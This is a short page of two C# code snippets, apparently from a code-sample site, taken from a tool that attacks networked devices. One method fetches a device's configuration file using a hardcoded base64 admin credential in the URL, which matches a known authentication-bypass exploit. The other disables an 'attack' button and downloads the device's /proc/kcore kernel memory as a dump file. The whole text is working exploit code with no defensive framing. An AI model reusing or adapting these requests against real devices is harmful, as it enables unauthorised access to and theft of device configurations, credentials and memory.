示例#1
0
        public void startMemDatDl(string path)
        {
            rndFuncs rn          = new rndFuncs();
            string   rndFilePref = rn.RandomString(5);

            dl = new Thread(() => {
                w.DownloadProgressChanged += new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
                w.DownloadFileCompleted   += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
                w.DownloadFileAsync(new Uri(ipAddr + "/System/configurationFile?auth=YWRtaW46MTEK"), path);
            });
            dl.IsBackground = true;
            dl.Start();
        }
示例#2
0
        public void startMemDatDl()
        {
            if (macAddr == "err")
            {
                return;
            }
            rndFuncs rn          = new rndFuncs();
            string   rndFilePref = rn.RandomString(5);

            dl = new Thread(() => {
                this.BeginInvoke((MethodInvoker) delegate {
                    btn_attack.Enabled = false;
                });
                w.DownloadProgressChanged += new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
                w.DownloadFileCompleted   += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
                w.DownloadFileAsync(new Uri(ipAddr + "//proc/kcore"), path + "/" + rndFilePref + "_memory.dmp");
                fileName = path + "/" + rndFilePref + "_memory.dmp";
            });
            dl.IsBackground = true;
            dl.Start();
        }